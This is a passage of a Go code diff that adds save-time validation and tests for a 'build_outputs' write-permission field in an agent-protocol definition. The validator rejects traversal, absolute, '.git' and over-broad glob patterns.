+ }
+ if strings.HasPrefix(pattern, "/") {
+ return fmt.Errorf("must be repository-relative, not absolute")
+ }
+ if strings.HasPrefix(pattern, "-") || strings.HasPrefix(pattern, ":") {
+ return fmt.Errorf("must not start with %q", pattern[:1])
+ }
+ for _, segment := range strings.Split(pattern, "/") {
+ switch segment {
+ case "..":
+ return fmt.Errorf("must not contain a `..` segment")
+ case ".git":
+ return fmt.Errorf("must not name a `.git` directory; git metadata is never a build output")
+ }
+ }
+ if strings.Trim(pattern, "*?/") == "" {
+ return fmt.Errorf("must name at least one literal character; a pattern of only globs grants everything")
+ }
+ literal := pattern
+ switch {
+ case strings.HasSuffix(pattern, "/**"):
+ literal = strings.TrimPrefix(strings.TrimSuffix(pattern, "/**"), "**/")
+ case strings.HasSuffix(pattern, "/"):
+ literal = strings.TrimSuffix(pattern, "/")
+ default:
+ return fmt.Errorf("must be a directory grant `/**`, `**//**`, or `/`; " +
+ "file-level patterns are refused")
+ }
+ if literal == "" || strings.ContainsAny(literal, "*?") {
+ return fmt.Errorf("must be exactly `/**`, `**//**`, or `/` with a literal ``; " +
+ "wildcards elsewhere cannot match a collapsed ignored directory")
+ }
+ return nil
+}
+
func builtinGateNames() []string {
names := make([]string, 0, len(builtinGates))
for name := range builtinGates {
diff --git a/internal/protocol/definition_test.go b/internal/protocol/definition_test.go
index 3a73805..9d2a208 100644
--- a/internal/protocol/definition_test.go
+++ b/internal/protocol/definition_test.go
@@ -1,6 +1,7 @@
package protocol
import (
+ "encoding/json"
"fmt"
"strings"
"testing"
@@ -365,6 +366,57 @@ phases:
}
}
+const buildOutputsBase = `
+name: outputs
+roster:
+ reviewer: {model: opus, system_prompt: s, user_prompt: u, writes: []}
+phases:
+ - {name: review, kind: agent, owner: reviewer}
+`
+
+func TestBuildOutputsAreParsedAndRetained(t *testing.T) {
+ spec := mustParse(t, buildOutputsBase+`build_outputs: ["bin/**", "out/"]`+"\n")
+ if got := spec.BuildOutputs; len(got) != 2 || got[0] != "bin/**" || got[1] != "out/" {
+ t.Fatalf("build_outputs = %q, want [bin/** out/] in order", got)
+ }
+ if got := mustParse(t, buildOutputsBase).BuildOutputs; got != nil {
+ t.Fatalf("absent build_outputs = %q, want nil", got)
+ }
+ // An empty list is the same as none: no grant, and never folded into
+ // `writes`, whose nil means unrestricted.
+ empty := mustParse(t, buildOutputsBase+"build_outputs: []\n")
+ if empty.BuildOutputs == nil || len(empty.BuildOutputs) != 0 {
+ t.Fatalf("build_outputs: [] = %#v, want an empty list", empty.BuildOutputs)
+ }
+ if writes := empty.Roster["reviewer"].Writes; writes == nil || len(writes) != 0 {
+ t.Fatalf("reviewer writes = %#v, want the declared read-only []", writes)
+ }
+}
+
+func TestBuildOutputsAreValidatedAtSaveTime(t *testing.T) {
+ for _, accepted := range []string{"bin/**", "out/", "**/__pycache__/**", "a/b/**"} {
+ t.Run("accepts "+accepted, func(t *testing.T) {
+ mustParse(t, buildOutputsBase+fmt.Sprintf("build_outputs: [%q]\n", accepted))
+ })
+ }
+ for _, rejected := range []string{
+ "", " ", " bin/**", "bin/** ", "bin\x00/**", "bin\n/**", "/abs/**", "../x/**", "a/../b/**",
+ "-x/**", ":x/**", ".git/**", "x/.git/**", "**", "*", "**/*", "*/", "bin/*.o", "**/*.o",
+ "bin/*/", "*/bin/**", "a/*/b/**", "b?n/**", "bin",
+ } {
+ t.Run(fmt.Sprintf("rejects %q", rejected), func(t *testing.T) {
+ // JSON string syntax is a valid YAML double-quoted scalar, so
+ // NUL and newline survive into the parsed value.
+ quoted, err := json.Marshal(rejected)
+ if err != nil {
+ t.Fatal(err)
+ }
+ mustReject(t, buildOutputsBase+"build_outputs: ["+string(quoted)+"]\n",
+ "build_outputs", fmt.Sprintf("%q", rejected))
+ })
+ }
+}
+
func TestUnknownYAMLFieldIsRejectedAtParseTime(t *testing.T) {
mustReject(t, `
name: bad
@@ -705,6 +757,13 @@ func TestAParallelGroupOfConsecutiveReadOnlyReviewersValidates(t *testing.T) {
if _, _, ok := mustParse(t, parallelPanel("", panelPhases, "")).ParallelRange(); ok {
t.Fatal("a definition without a group reports one")
}
+ // Declared build outputs are the one thing members may write: a group
+ // beside them still validates.
+ spec = mustParse(t, parallelPanel("", panelPhases,
+ "parallel: [review-a, review-b, review-c]\nbuild_outputs: [\"bin/**\"]\n"))
+ if _, _, ok := spec.ParallelRange(); !ok || len(spec.BuildOutputs) != 1 {
+ t.Fatalf("group or build_outputs lost: parallel=%v build_outputs=%v", spec.Parallel, spec.BuildOutputs)
+ }
}
// A parallel panel and the CI re-run and repair policies are independent:
@@ -736,6 +795,9 @@ func TestAParallelGroupIsRejectedUnlessItsMembersAreConcurrentSafe(t *testing.T)
}{
{"a writing member", parallelPanel("", panelPhases, "parallel: [build, review-a]\n"),
[]string{`"build"`, `"builder"`, "writes: []"}},
+ {"a writing member beside declared build outputs", parallelPanel("", panelPhases,
+ "parallel: [build, review-a]\nbuild_outputs: [\"bin/**\"]\n"),
+ []string{`"build"`, `"builder"`, "writes: []", "build_outputs"}},
{"a member whose role omits writes, which is unrestricted", parallelPanel(unrestricted,
panelPhases+" - {name: review-d, kind: agent, owner: d}\n - {name: review-e, kind: agent, owner: a}\n",
"parallel: [review-d, review-e]\n"),